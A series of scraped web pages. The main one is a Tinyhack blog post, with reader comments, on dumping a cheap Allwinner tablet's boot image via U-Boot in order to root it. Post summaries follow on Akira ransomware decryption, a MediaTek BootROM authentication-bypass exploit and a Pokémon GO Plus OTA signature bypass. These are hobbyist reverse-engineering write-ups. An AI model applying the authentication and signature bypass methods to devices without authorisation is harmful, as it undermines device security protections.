upcoming events for ya. Here's the latest: 🚀 What's New in Fine Agents take central stage : We removed the tabs interface and moved the specifications to a panel on the right side of the screen. The main interface will now be dedicated to working with the AI agents: planning, executing, and revising. Manually stage files for the Agent’s editing : In our latest product update, we introduced mentioning via '@'. This week we introduce manually staging files for the agent to edit. More control, better precision. Improvements to our DB infrastructure allows importing larger projects : If you previously tried to import a large project there's a good chance the import failed. We now support larger projects, so feel free to try again. Added GPT-4-32k to our backend : With less limitations on context and rate, the product now works faster, and the quality of suggested tasks and generated code increased. UX Improvement : We improved the “revision” UX (the pencil button), and added file icons to indicate the file type. Notebooks can now be deleted : Following multiple requests from the community - Projects and Notebooks can now be deleted. Click the Kebab Menu at the top right to reveal the option. Multiple Workspaces bugs fixed : Member invitation status now updates, invites are being sent correctly, and the confirmation toast closes correctly. Graceful error handling : Fine now handles failed tasks with retry mechanisms, and better logging. <- Previous Page Next Page -> Never miss an update Take control of your business Find out about our latest product changes as we continue improving Stellar to enable your team to collaborate better. Subscribe -> © Fine.dev - All rights reserved. Product Overview AI Workflows Pricing & Plans Changelog Blog Docs Company Press Terms & Conditions Privacy policy | 2026-01-13T08:48:56 |
https://docs.python.org/2.6/ | Overview — Python v2.6.9 documentation Navigation index modules | Python » Python v2.6.9 documentation » Python v2.6.9 documentation Welcome! This is the documentation for Python 2.6.9, last updated Oct 29, 2013. Parts of the documentation: What's new in Python 2.6? or all "What's new" documents since 2.0 Tutorial start here Using Python how to use Python on different platforms Library Reference keep this under your pillow Language Reference describes syntax and language elements Python HOWTOs in-depth documents on specific topics Extending and Embedding tutorial for C/C++ programmers Python/C API reference for C/C++ programmers Installing Python Modules information for installers & sys-admins Distributing Python Modules sharing modules with others Documenting Python guide for documentation authors FAQs frequently asked questions (with answers!) Indices and tables: Global Module Index quick access to all modules General Index all functions, classes, terms Glossary the most important terms explained Search page search this documentation Complete Table of Contents lists all sections and subsections Meta information: Reporting bugs About the documentation History and License of Python Copyright Download Download these documents Docs for other versions Python 2.7 (stable) Python 3.1 (stable) Python 3.2 (in development) Old versions Other resources FAQs Guido's Essays New-style Classes PEP Index Beginner's Guide Book List Audio/Visual Talks Other Doc Collections Report a Bug Quick search Enter search terms or a module, class or function name. Navigation index modules | Python » Python v2.6.9 documentation » © Copyright 1990-2013, Python Software Foundation. The Python Software Foundation is a non-profit corporation. Please donate. Last updated on Oct 29, 2013. Found a bug ? Created using Sphinx 0.6.5. | 2026-01-13T08:48:56 |
https://tinyhack.com/2024/01/18/using-u-boot-to-extract-boot-image-from-pritom-p7/#comment-172113 | Using U-Boot to extract Boot Image from Pritom P7 – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Using U-Boot to extract Boot Image from Pritom P7 This is a guide to extract the boot image from a cheap Android tablet based on Allwinner A133 using U-Boot (accessed via UART). The original firmware was not found on the internet. With the boot image and Magisk, you can root your Android tablet to make it more useful. Pritom P7 is a very cheap Android tablet. I bought it for 33 USD from AliExpress, but it can be found for as low as 27 USD. This is a Google GMS-certified device (it passes Play Integrity, no malware was found when I received it), and it uses 32-bit Android Go. I am only using this to test some 32-bit Android app compatibility. I bought it for 32.75 USD They may have several variants of this model with different specifications. Mine is: Alwinner A133, 1.5GB RAM (advertised as 2GB, and shown as 2GB in the Android info), 32 GB ROM, only 2.4 GHz WIFI, no GPS. Unlockable Bootloader Luckily, we are allowed to unlock the bootloader of this device using the developer menu, adb reboot bootloader then using fastboot oem unlock . Some cheap Android devices don’t allow unlocking (for example, the ones that are based on recent Unisoc SOC). I can allow bootloader unlock using the OEM Unlocking option The product ID of my tablet is P7_EEA (Android 11) with kernel version Linux localhost 5.4.180-svn33409-ab20220924-092422 #28 SMP PREEMPT Sun Aug 20 19:13:45 CST 2023 armv8l . The build number is PRITOM_P7_EEA_20230820 . I did not find any Android exploit for this device, and I also didn’t find any backdoors. From my experience, some of these cheap Android devices have hidden su backdoors. Unable to find an exploit, I gave up trying to extract boot image from user space. With some SOC, you can easily read/dump/extract the flash using PC software. I didn’t find any software for this Allwinner chip. An example of a SOC that allows flash reading is Unisoc (formerly Spreadtrum), but on the other hand, the bootloader on phones and tablets with the latest SOCs from Unisoc (that I know of) is not unlockable. UART Fortunately, this device is easy to open, and a UART pin is on the top left near the camera. UART + FEL pad on top, near the camera Here is a close-up: The right-most pin is FEL if you want to enter FEL mode. But entering FEL mode can be done easily using: adb reboot efex . To test that the pin does output something, I just connected the ground to the USB-C ground and held my hand, pressing a cable on the TX pad during startup. No soldering is needed if you can hold your hand like this U-Boot Fortunately, we can break into u-boot (not locked down); from there, it is easy to dump the bootloader. There are many ways to do it, but this is how I did it. First, print the environment using env print to see what commands are used to load the boot partition: bootdelay=0 boot_normal=sunxi_flash read 45000000 boot;bootm 45000000 Note: I suggest you change the bootdelay to make it easier to enter U-boot next time. We can see that we can read the flash partition to a certain memory location using: sunxi_flash read 45000000 boot Now, we need to write this memory area to an SD Card. I prepared a FAT-formatted SD Card. Insert it, then: sunxi_card0_probe . This will detect the card. I need to do mmcinfo otherwise, the next command won’t work: mmc part Now we can test listing the content of the card: fatls mmc 0:1 . It should be empty since we just format it. Next is to write the memory to a file: fatwrite mmc 0:1 45000000 boot.img 4000000 . Note: all numbers are in hexadecimal. 64 Megabytes is just a common size for the boot partition. We can install Magisk APK to the tablet, run it, and then choose “Install” and “Select and patch file”. Patch our boot.img , then the magisk_patched_xx.img file can be flashed using : fastboot flash boot magisk_patched_xx.img . Magisk Installed I could have dumped all the partitions using u-boot, but I felt that u-boot is slow in writing to the SD Card. After we have a root access, we can easily dump the rest of the partitions by accessing the files in /dev/block/by-name . Conclusion I hope this guide can help you root your Allwinner device, even when you don’t have the original firmware. I think this device is not worth buying unless you have a specific need for it. This tablet is OK if you want to test your app for Android Go or 32-bit Android libraries. This is also a good tablet for learning to hack Android hardware. If you are using the same device and want to have the boot partition, you can download it here: please make sure that your hardware is exactly the same as mine to prevent bricking it. https://tinyhack.com/files/pritom-P7_EEA-boot.img Author admin Posted on January 18, 2024 January 19, 2024 Categories android , hacks , hardware , mobile , phone Tags 28 26 thoughts on “Using U-Boot to extract Boot Image from Pritom P7” Ivan says: February 9, 2024 at 8:58 pm ivan@M16 ~ % fastboot devices 3c000c4543c48701e19 fastboot ivan@M16 ~ % fastboot oem unlock FAILED (remote: ‘Oem unlock ability is 0. Permission denied for this command!’) fastboot: error: Command failed Please help to unlock Reply Ivan says: February 9, 2024 at 9:15 pm Developer options – ON, OEM Unlocking – ON Reply Ivan says: February 9, 2024 at 9:27 pm (bootloader) treble-enabled:true (bootloader) first-api-level:30 (bootloader) dynamic-partition:true (bootloader) system-fingerprint:PRITOM/P7_A1/P7_A1:11/RP1A.201005.006/20220915-103124:user/release-keys (bootloader) snapshot-update-status:none (bootloader) super-partition-name:super (bootloader) hw-revision:0 (bootloader) off-mode-charge:0 (bootloader) battery-voltage:0 (bootloader) is-userspace:yes (bootloader) partition-type:bootloader_b:raw (bootloader) partition-type:dtbo_a:raw (bootloader) partition-type:vbmeta_vendor_b:raw (bootloader) partition-type:vendor_boot_b:raw (bootloader) partition-type:bootloader_a:raw (bootloader) partition-type:vbmeta_system_b:raw (bootloader) partition-type:userdata:raw (bootloader) partition-type:env_b:raw (bootloader) partition-type:boot_b:raw (bootloader) partition-type:misc:raw (bootloader) partition-type:dtbo_b:raw (bootloader) partition-type:env_a:raw (bootloader) partition-type:vendor_boot_a:raw (bootloader) partition-type:vbmeta_b:raw (bootloader) partition-type:vbmeta_a:raw (bootloader) partition-type:vbmeta_system_a:raw (bootloader) partition-type:media_data:raw (bootloader) partition-type:vbmeta_vendor_a:raw (bootloader) partition-type:boot_a:raw (bootloader) partition-type:metadata:raw (bootloader) partition-type:super:raw (bootloader) partition-type:system_a:raw (bootloader) partition-type:system_b:raw (bootloader) partition-type:vendor_a:raw (bootloader) partition-type:vendor_b:raw (bootloader) partition-type:product_a:raw (bootloader) partition-type:product_b:raw (bootloader) secure:yes (bootloader) battery-soc-ok:yes (bootloader) serialno:3c000c4543c48701e19 (bootloader) slot-count:2 (bootloader) cpu-abi:armeabi-v7a (bootloader) variant:NA (bootloader) has-slot:bootloader:yes (bootloader) has-slot:dtbo:yes (bootloader) has-slot:vbmeta_vendor:yes (bootloader) has-slot:vendor_boot:yes (bootloader) has-slot:vbmeta_system:yes (bootloader) has-slot:userdata:no (bootloader) has-slot:env:yes (bootloader) has-slot:boot:yes (bootloader) has-slot:misc:no (bootloader) has-slot:vbmeta:yes (bootloader) has-slot:media_data:no (bootloader) has-slot:metadata:no (bootloader) has-slot:super:no (bootloader) has-slot:system:yes (bootloader) has-slot:vendor:yes (bootloader) has-slot:product:yes (bootloader) product:P7_A1 (bootloader) is-logical:bootloader_b:no (bootloader) is-logical:dtbo_a:no (bootloader) is-logical:vbmeta_vendor_b:no (bootloader) is-logical:vendor_boot_b:no (bootloader) is-logical:bootloader_a:no (bootloader) is-logical:vbmeta_system_b:no (bootloader) is-logical:userdata:no (bootloader) is-logical:env_b:no (bootloader) is-logical:boot_b:no (bootloader) is-logical:misc:no (bootloader) is-logical:dtbo_b:no (bootloader) is-logical:env_a:no (bootloader) is-logical:vendor_boot_a:no (bootloader) is-logical:vbmeta_b:no (bootloader) is-logical:vbmeta_a:no (bootloader) is-logical:vbmeta_system_a:no (bootloader) is-logical:media_data:no (bootloader) is-logical:vbmeta_vendor_a:no (bootloader) is-logical:boot_a:no (bootloader) is-logical:metadata:no (bootloader) is-logical:super:no (bootloader) is-logical:system_a:yes (bootloader) is-logical:system_b:yes (bootloader) is-logical:vendor_a:yes (bootloader) is-logical:vendor_b:yes (bootloader) is-logical:product_a:yes (bootloader) is-logical:product_b:yes (bootloader) vendor-fingerprint:PRITOM/P7_A1/P7_A1:11/RP1A.201005.006/20220915-103124:user/release-keys (bootloader) version-vndk:30 (bootloader) unlocked:no (bootloader) current-slot:a (bootloader) version-os:11 (bootloader) version-baseband: (bootloader) max-download-size:0x10000000 (bootloader) partition-size:bootloader_b:0x2000000 (bootloader) partition-size:dtbo_a:0x200000 (bootloader) partition-size:vbmeta_vendor_b:0x10000 (bootloader) partition-size:vendor_boot_b:0x2000000 (bootloader) partition-size:bootloader_a:0x2000000 (bootloader) partition-size:vbmeta_system_b:0x10000 (bootloader) partition-size:userdata:0x67C77BE00 (bootloader) partition-size:env_b:0x40000 (bootloader) partition-size:boot_b:0x4000000 (bootloader) partition-size:misc:0x1000000 (bootloader) partition-size:dtbo_b:0x200000 (bootloader) partition-size:env_a:0x40000 (bootloader) partition-size:vendor_boot_a:0x2000000 (bootloader) partition-size:vbmeta_b:0x20000 (bootloader) partition-size:vbmeta_a:0x20000 (bootloader) partition-size:vbmeta_system_a:0x10000 (bootloader) partition-size:media_data:0x1000000 (bootloader) partition-size:vbmeta_vendor_a:0x10000 (bootloader) partition-size:boot_a:0x4000000 (bootloader) partition-size:metadata:0x1000000 (bootloader) partition-size:super:0xC0000000 (bootloader) partition-size:system_a:0x305EA000 (bootloader) partition-size:system_b:0x0 (bootloader) partition-size:vendor_a:0x4F91000 (bootloader) partition-size:vendor_b:0x0 (bootloader) partition-size:product_a:0x4822D000 (bootloader) partition-size:product_b:0x0 (bootloader) security-patch-level:2022-10-05 (bootloader) version-bootloader:unknown (bootloader) version:0.4 Reply Ivan says: February 10, 2024 at 12:52 pm Also I can’t flash your boot image ivan@M16 ~ % fastboot flash boot /Volumes/Temp/pritom-P7_EEA-boot.img Sending ‘boot_a’ (65536 KB) FAILED (remote: ‘Download is not allowed on locked devices’) fastboot: error: Command failed Reply admin says: April 8, 2024 at 1:15 pm I think you are using a different device (not the same one as mine). So I am not sure what to do for your device. Reply Jimmy says: April 5, 2024 at 12:40 pm I just bought one of these tablets, and they can be okay for a grandparent or a child (or for playing around with root or for 3D printer screen etc.). Your detailed description of the process has helped me a lot. I would like to say thank you to everyone who wants to play around with this tablet (I ordered mine for 33 euros, and it has the same specs as yours). Reply jardel says: April 22, 2024 at 1:35 pm Oem Unlocking is on but when I try fastboot oem unlock: oem unlock ability is 0. Permission denied for this command Reply Jardel says: April 23, 2024 at 4:31 pm Using the exact same model with the same build. Oem unlocking option activated. Can you help me? C:\Users\Jardel>adb reboot fastboot C:\Users\Jardel>fastboot oem unlock FAILED (remote: ‘Oem unlock ability is 0. Permission denied for this command!’) fastboot: error: Command failed Reply admin says: May 20, 2024 at 1:39 am I guess in your particular model, the bootloader is forever locked? or may be try different fastboot binary, may be a newer or older version of it. Reply Tobias says: May 13, 2024 at 10:33 pm I was able to root my Pritom P7 EEA using this method. Thanks a bunch for extracting the boot image 😀 Reply XH64bit says: June 22, 2024 at 3:38 am Hi, I’m trying to do the same boot.img extraction process on another similar tablet powered by the same SoC. The problem is that I’m new to Uart and all of that stuff and I don’t understand where to run the commands for the dumping process. Here’s what I already done: unlocked my bootloader and checked for su binary but no luck there. Opened up the tablet and located the TX and RX pins on the mobo, soldered wires there and connected them to my Uart adapter (CP2102 if that matters) including the ground taken from the USB-C port and then it was the part where I have no idea what to do next, turning the tablet on lights up one of the LEDs on my adapter and then it starts blinking during startup. I tried using putty on my windows pc to connect to the adapter but when I start a session I see nothing, even when pressing the reset button or doing anything else its just a blank terminal. If you can give me some advice on what to do next or provide some links where it explains a similar process more datelined it would be great. Thank you in advice! Reply admin says: June 22, 2024 at 7:35 am Make sure you connect RX to TX and TX to RX and make sure you choose the correct baud rate. Reply XH64bit says: June 22, 2024 at 4:03 pm Thanks a lot for your response, I swapped around the wires and tried different baud rates (11500 seems to be working fine) and now I see logs as I hit the reset button and during the boot process. Now I tried “adb reboot efex” and it kinda worked (the tablet rebooted and now I have a black screen and in my console I see some U-boot welcome messages and that stuff so I guess that its working fine) but I still can’t type anything to the console window on my pc, I’m guessing I might need a different app or something to be able to run commands. Would really appreciate it if you can share the app you used to run the commands. Reply XH64bit says: June 22, 2024 at 6:03 pm So a small update on that, I was able to type commands after just pressing one button on my keyboard during the tablet’s boot process, I ran all of the commands and got my boot image but magisk is unable to patch it for some reason, maybe the size is not the same as on ur device but in U-boot when I type “env print” I get the same normal boot string as yours “boot_normal=sunxi_flash read 45000000 boot;bootm 45000000” and in fastbootd when I type “getvar all” I get “(bootloader) partition-size:boot_a:0x4000000” and “(bootloader) partition-size:boot_b:0x4000000” so I guess the command “fatwrite mmc 0:1 45000000 boot.img 4000000” should be the same for me? As I said I get an error when truing to patch the image saved to the SD card and it says that “Unable to patch ramdisk” but another thing is that it says “Magisk patched boot image detected” while the image is definitely wasn’t patched with magisk before. Maybe its because my SD card is in Fat32 and not just Fat but idk doesn’t seem like it complains about that during the dump process in U-boot. Reply admin says: June 23, 2024 at 1:58 am Did you do “sunxi_flash read 45000000 boot” before writing to MMC? This will read the boot loader to memory before you write it to disk. XH64bit says: June 24, 2024 at 12:15 am So I think the issue was in my SD card, I tried a different one and it finally worked. btw I spend like 4 hours yesterday trying to understand what was wrong and went as far as comparing ur image with mine in hex editor and only then I saw that it was weird (I mean hex is always a weird for me but it just looked really corrupted). I want to thank you for all the afford u put into troubleshooting it for me, I learned a lot of new stuff and I think that’s gonna be really useful in my adventures of yanking random crappy tablets for fun admin says: June 24, 2024 at 12:55 am I am glad it works for you. This is how I started: by just trying to follow some random stuff made by someone else on the internet. positivo60fps says: July 3, 2024 at 10:29 am Now with root installed, how do I backup the recovery? in dev/block/by-name there is no recovery folder Reply admin says: July 3, 2024 at 12:02 pm it doesn’t have a recovery partition, it just uses boot_a and boot_b Reply minims says: October 2, 2024 at 3:42 pm Hello, is there a way to upgrade the P7 to a more revent version of Android. It’s currently Android Go 11. Reply Art says: March 11, 2025 at 9:53 pm Hello, need super vendor_boot boot vbmeta vbmeta_system vbmeta_vendor and odm. Can you help me? Reply TheLabronic says: May 14, 2025 at 1:17 pm Hi to everyone, i’m going crazy. I have the same tablet, but I’m stuck trying to break into U-Boot. I connected the tablet’s TX, RX, and GND pins to my USB UART adapter (with RX and TX crossed). Using a terminal, I can see the boot log when I run adb reboot efex. The problem is, when I press Enter (or any other key) to stop the boot process, it doesn’t respond. I’ve tried different baud rates (115200, 57600, 38400, 19200), but nothing changes. I also tried swapping the RX and TX connections between the tablet and the USB UART, but still no luck. I’m using a FT232 USB UART, and I have the latest drivers installed. I’ve tested multiple terminal programs (Putty, Minicom, HyperTerminal), and even tried a different computer or os (Linux & Win)—nothing works. I’m out of ideas. Any help would be greatly appreciated. Reply lpt2007 says: June 27, 2025 at 10:02 pm Hi, I have device PRITOM P7, Product P7_A05,CPU Allwinner A523, arm64-v8a,Build number: TAB_7Pro_14_US_20241237. And I try to get boot.img from device with no luck. Can I use your boot.img for my device? If not. Do you know where can I get img? thx in advance Reply admin says: June 27, 2025 at 11:53 pm You definitely can’t, your device uses 64 bit OS, mine is 32 bit. Reply lpt2007 says: June 28, 2025 at 8:32 am Hi, Thanks for quick replay:) Do you know good place where users share their dump-ed boot images for chinese tablets and phones? Reply admin says: June 28, 2025 at 9:41 am I am sorry, I don’t know the answer to this. When I searched for mine, I couldn’t find any, that was why I opened it and dumped it myself. Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/category/hacks/ | hacks – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Category: hacks Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs I recently helped a company recover their data from the Akira ransomware without paying the ransom. I’m sharing how I did it, along with the full source code. Update: since this article was written, a new version of Akira ransomware has appeared that can’t be decrypted with this method The code is here: https://github.com/yohanes/akira-bruteforce To clarify, multiple ransomware variants have been named Akira over the years, and several versions are currently circulating. The variant I encountered has been active from late 2023 to the present (the company was breached this year). There was an earlier version (before mid-2023) that contained a bug, allowing Avast to create a decryptor. However, once this was published, the attackers updated their encryption. I expect they will change their encryption again after I publish this. https://decoded.avast.io/threatresearch/decrypted-akira-ransomware You can find various Akira malware sample hashes at the following URL: https://github.com/rivitna/Malware/blob/main/Akira/Akira_samples.txt The sample that matches my client’s case is: bcae978c17bcddc0bf6419ae978e3471197801c36f73cff2fc88cecbe3d88d1a It is listed under the version: Linux V3 . The sample can be found on virus.exchange (just paste the hash to search). Note that the ransom message and the private/public keys will differ. We do this not because it is easy, but because we thought it would be easy I usually decline requests to assist with ransomware cases. However, when my friend showed me this particular case, a quick check made me think it was solvable. Continue reading “Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs” Author admin Posted on March 13, 2025 November 7, 2025 Categories hacks , reverse-engineering , security Tags define , Final 76 Comments on Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Using U-Boot to extract Boot Image from Pritom P7 This is a guide to extract the boot image from a cheap Android tablet based on Allwinner A133 using U-Boot (accessed via UART). The original firmware was not found on the internet. With the boot image and Magisk, you can root your Android tablet to make it more useful. Pritom P7 is a very cheap Android tablet. I bought it for 33 USD from AliExpress, but it can be found for as low as 27 USD. This is a Google GMS-certified device (it passes Play Integrity, no malware was found when I received it), and it uses 32-bit Android Go. I am only using this to test some 32-bit Android app compatibility. I bought it for 32.75 USD They may have several variants of this model with different specifications. Mine is: Alwinner A133, 1.5GB RAM (advertised as 2GB, and shown as 2GB in the Android info), 32 GB ROM, only 2.4 GHz WIFI, no GPS. Unlockable Bootloader Luckily, we are allowed to unlock the bootloader of this device using the developer menu, adb reboot bootloader then using fastboot oem unlock . Some cheap Android devices don’t allow unlocking (for example, the ones that are based on recent Unisoc SOC). I can allow bootloader unlock using the OEM Unlocking option The product ID of my tablet is P7_EEA (Android 11) with kernel version Linux localhost 5.4.180-svn33409-ab20220924-092422 #28 SMP PREEMPT Sun Aug 20 19:13:45 CST 2023 armv8l . The build number is PRITOM_P7_EEA_20230820 . I did not find any Android exploit for this device, and I also didn’t find any backdoors. From my experience, some of these cheap Android devices have hidden su backdoors. Unable to find an exploit, I gave up trying to extract boot image from user space. With some SOC, you can easily read/dump/extract the flash using PC software. I didn’t find any software for this Allwinner chip. An example of a SOC that allows flash reading is Unisoc (formerly Spreadtrum), but on the other hand, the bootloader on phones and tablets with the latest SOCs from Unisoc (that I know of) is not unlockable. UART Fortunately, this device is easy to open, and a UART pin is on the top left near the camera. UART + FEL pad on top, near the camera Continue reading “Using U-Boot to extract Boot Image from Pritom P7” Author admin Posted on January 18, 2024 January 19, 2024 Categories android , hacks , hardware , mobile , phone Tags 28 26 Comments on Using U-Boot to extract Boot Image from Pritom P7 When you deleted /lib on Linux while still connected via ssh Let’s first not talk about why this can happen, but deleting /lib , /usr/lib , or some other essential runtime files happens quite a lot (as you can see: here , here , here , and here ). In this post, I will only discuss what happens when you delete /lib on Linux and how to recover from that. The easy solution for everything is to replace the missing files, but this can be difficult if /lib is deleted because we won’t have ld-linux , which is needed to run any dynamic executable. When you deleted /lib , all non-static executable (such as ls , cat , etc , will output): No such file or directory You will also be unable to open any new connection using ssh, or open a new tmux window/pane if you are using tmux. So you can only rely on your current shell built in, and some static executables that you have on the system. If you have a static busybox installed, then it can be your rescue. You can use wget from busybox to download libraries from a clean system. For your information: Debian has busybox installed by default, but the default is not the static version. Minimal Debian install If you are worried that this kind of problem might happen to you in the future: Install the static version of the busybox binary, and confirm that it is the correct version. Installing static busybox Continue reading “When you deleted /lib on Linux while still connected via ssh” Author admin Posted on September 16, 2022 September 16, 2022 Categories debian , hacks , linux 1 Comment on When you deleted /lib on Linux while still connected via ssh Dissecting a MediaTek BootROM exploit A bricked Xiaomi phone led me to discover a project in Github that uses a MediaTek BootROM exploit that was undocumented. The exploit was found by Xyz , and implemented by Chaosmaster . The initial exploit was already available for quite a while . Since I have managed to revive my phone, I am documenting my journey to revive it and also explains how the exploit works. This exploit allows unsigned code execution, which in turn allows us to read/write any data from our phone. For professionals: you can just skip to how the BootROM exploit works (spoiler: it is very simple). This guide will try to guide beginners so they can add support for their own phones. I want to show everything but it will violate MediaTek copyright, so I will only snippets of decompilation of the boot ROM. Bricking my Phone and understanding SP Flash Tool I like to use Xiaomi phones because it’s relatively cheap, has an easy way to unlock the bootloader, and the phone is easy to find here in Thailand. With an unlocked bootloader, I have never got into an unrecoverable boot loop, because I can usually boot into fastboot mode and just reflash with the original ROM. I usually buy a phone with Qualcomm SOC, but this time I bought Redmi 10X Pro 5G with MediaTek SOC (MT6873 also known as Dimensity 800). But it turns out: you can get bricked without the possibility to enter fastboot mode. A few years ago, it was easy to reflash a Mediatek phone: enter BROM mode (usually by holding the volume up button and plugging the USB when the phone is off), and use SP Flash Tool to overwrite everything (including boot/recovery partition). It works this way: we enter BROM mode, the SP Flash Tool will upload DA (download agent) to the phone, and SP Flash Tool will communicate with the DA to perform actions (erase flash, format data, write data, etc). But they have added more security now: when I tried flashing my phone, it displays an authentication dialog. It turns out that this is not your ordinary Mi Account dialog, but you need to be an Authorized Mi Account holder (usually from a service center). It turns out that just flashing a Mediatek phone may enter a boot loop without the possibility of entering fastboot mode. Quoting from an XDA article : The developers who have been developing for the Redmi Note 8 Pro have found that the device tends to get bricked for a fair few reasons. Some have had their phone bricked when they were flashing to the recovery partition from within the recovery, while others have found that installing a stock ROM through fastboot on an unlocked bootloader also bricks the device Xiaomi needs a better way to unbrick its devices instead of Authorized Mi Accounts I found one of the ROM modders that had to deal with a shady person on the Internet using remote Team Viewer to revive his phone. He has some explanation about the MTK BootROM security. To summarize: BROM can have SLA (Serial Link Authorization), DAA (Download Agent Authorization), or both. SLA prevents loading DA if we are not authorized. And DA can present another type of authentication. Using custom DA, we can bypass the DA security, assuming we can bypass SLA to allow loading the DA. When I read those article I decided to give up. I was ready to let go of my data. MTK Bypass By a stroke of luck, I found a bypass for various MTK devices was published just two days after I bricked my Phone. Unfortunately: MT6873 is not yet supported. To support a device, you just need to edit one file ( device.c ), which contains some addresses. Some of these addresses can be found from external sources (such as from the published Linux kernel for that SOC), but most can’t be found without access to the BootROM itself. I tried reading as much as possible about the BROM protocol. Some of the documentation that I found: MediaTek details: SoC startup : has a link to BROM documentation Support for Mediatek Devices in Oxygen Forensic® Detective (Explains about BROM protection) Another luck came in a few days later: Chaosmaster published a generic payload to dump the BootROM. I got lucky: the generic payload works immediately on the first try on my phone and I got my Boot ROM dump. Now we need to figure out what addresses to fill in. At this point, I don’t have another ROM to compare, so I need to be clever in figuring out these addresses. We need to find the following: send_usb_response usbdl_put_dword usbdl_put_data usbdl_get_data uart_reg0 uart_reg1 sla_passed skip_auth_1 skip_auth_2 From the main file that uses those addresses we can see that: uart_reg0 and uart_reg1 are required for proper handshake to work. These addresses can be found on public Linux kernel sources. usbdl_put_dword and usbdl_put_data is used to send data to our computer usbdl_get_data is used to read data from computer sla_passed , skip_auth_1 and skip_auth_2 , are the main variables that we need to overwrite so we can bypass the authentication We can start disassembling the firmware that we obtain fro the generic dumper. We need to load this to address 0x0. Not many strings are available to cross-reference so we need to get creative. Somehow generic_dump_payload can find the address for usb_put_data to send dumped bytes to the Python script. How does it know that? The source for generic_dump_payload is is available in ChaosMaster’s repository . But I didn’t find that information sooner so I just disassembled the file. This is a small binary, so we can reverse engineer it easily using binary ninja. It turns out that it does some pattern matching to find the prolog of the function: 2d e9 f8 4f 80 46 8a 46 . Actually, it searches for the second function that has that prolog. Pattern finder in generic_dump_payload Now that we find the send_word function we can see how sending works. It turns out that it sends a 32-bit value by sending it one byte at a time. Note: I tried continuing with Binary Ninja, but it was not easy to find cross-references to memory addresses on a raw binary, so I switched to Ghidra. After cleaning up the code a bit, it will look something like this: What generic_dump_payload found Now we just need to find the reference to function_pointers and we can find the real address for sendbyte . By looking at related functions I was able to find the addresses for: usbdl_put_dword , usbdl_put_data , usbdl_get_data . Note that the exploit can be simplified a bit, by replacing usbdl_put_dword by a call to usbdl_put_data so we get 1 less address to worry about. The hardest part for me was to find send_usb_response to prevent a timeout. From the main file , I know that it takes 3 numeric parameters (not pointers), and this must be called somewhere before we send data via USB. This narrows it down quite a lot and I can find the correct function. Now to the global variables: sla_passed , skip_auth_1 , and skip_auth_2 . When we look at the main exploit in Python, one of the first things that it does is to read the status of the current configuration. This is done by doing a handshake then retrieve the target config . Target config There must be a big “switch” statement in the boot ROM that handles all of these commands. We can find the handshake bytes ( A0 0A 50 05 ) to find the reference to the handshake routine (actually found two of them, one for USB and one for UART). From there we can find the reference to the big switch statement. The handshake You should be able to find something like this: after handshake it starts to handle commands And the big switch should be clearly visible. Switch to handle various commands Now that we found the switch, we can find the handler for command 0xd8 (get target config). Notice in python, the code is like this : Notice the bit mask By looking at the bitmask, we can conclude the name of the functions that construct the value of the config. E.g: we can name the function that sets the secure boot to is bit_is_secure_boot . Knowing this, we can inspect each bit_is_sla and bit_is_daa we can name the functions from the bit that it sets For SLA: we need to find cross-references that call bit_is_sla , and we can see that another variable is always consulted. If SLA is not set, or SLA is already passed, we are allowed to perform the next action. finding sla_passed Now we need to find two more variables for passing DAA. Looking at bit_is_daa , we found that at the end of this function, it calls a routine that checks if we have passed it. These are the last two variables that we are looking for. How the BootROM Exploit Works The exploit turns out very simple. We are allowed to upload data to a certain memory space The handler for USB control transfer blindly index a function pointer table Basically it something like this: handler_array[value*13](); But there are actually some problems: The value for this array is unknown, but we know that most devices will have 0x100a00 as one of the elements We can brute force the value for USB control transfer to invoke the payload We may also need to experiment with different addresses (since not all device has 0x100a00 as an element that can be used) Another payload is also provided to just restart the device. This will make it easy to find the correct address and control value. Closing Remarks Although I was very upset when my phone got bricked, the experience in solving this problem has been very exciting. Thank you to Xyz for finding this exploit, and ChaosMaster for implementing it, simplifying it, and also for answering my questions and reviewing this post. Author admin Posted on January 31, 2021 March 7, 2021 Categories hacks , hardware , reverse-engineering , security , writeup 18 Comments on Dissecting a MediaTek BootROM exploit Reverse Engineering Pokémon GO Plus Part 2: OTA Signature Bypass It has been almost 6 months since I published my Pokemon Go Plus finding and so far no one has published their Pokemon Go Plus Key. One of the reason is the difficulty in extracting the key from OTP (one time programmable) memory that requires precision soldering. Few weeks after I wrote my article, I posted an idea to /r/pokemongodev to extract a Pokemon Go Plus key using over the air (OTA) update . The idea was based on two things: We can flash any image using SPI Flasher, and there is no signature check, we just need a correct checksum. The SPI flash contains two copies of the same firmware (there are 2 firmware banks). This is important for OTA: in case the firmware was not transferred correctly, the bootloader (located in OTP) will boot the other valid firmware And the plan was this: Create our new custom firmware Flash the new firmware to the Pokemon Go Plus over the air to Bank 1. At this point there will be two firmware: our firmware and the pokemon go plus firmware Extract the key via BLE (Bluetooth Low Energy) using the new firmware Restore the original firmware by sending a special request to the new firmware. This is done by reading the original firmware on bank 2 and overwriting our firmware in Bank 1. The plan Unfortunately, I don’t have time to implement it. I don’t have DA14580 development board so I won’t be able to debug it properly via JTAG. I don’t feel like buying 40 USD for a board that I will only use for this project. I got about 30 USD in donations which I use to buy another Pokemon Go Plus clone, it has the same Bluetooth MAC address. (Note that money wasn’t really the problem, I just like to spend it on something that I like, for example, I just recently bought Nvidia Jetson Nano and a Stereo Microscope) Two months ago a Reddit user jesus-bamford contacted me, mentioning that he will implement the idea I proposed. Everything seems to work according to plan: He can create a firmware that can extract the key from OTP He can write his firmware using SPI flasher He can send his firmware over the air (using Android App provided by Dialog Semiconductor) But this is where the good news ends: if the firmware is written using OTA, it won’t boot. The bootloader thinks the firmware is invalid and it will boot the original copy of the Pokemon Go Plus firmware. He found out that there is an extra check in the Software Update that was added, that is not in the source code provided in the DA14580 SDK. But he can’t figure out what is the check or how to bypass it. During the Songkran Holiday in Thailand, I have some free time so I tried to reverse engineer the boot loader. He is right, there is an extra check added: When the update process is started, a flag is set to indicate that this firmware image is not yet valid. In case of a failed update, the bootloader can bot the other valid firmware. During this process, an SHA256 hash is initialized 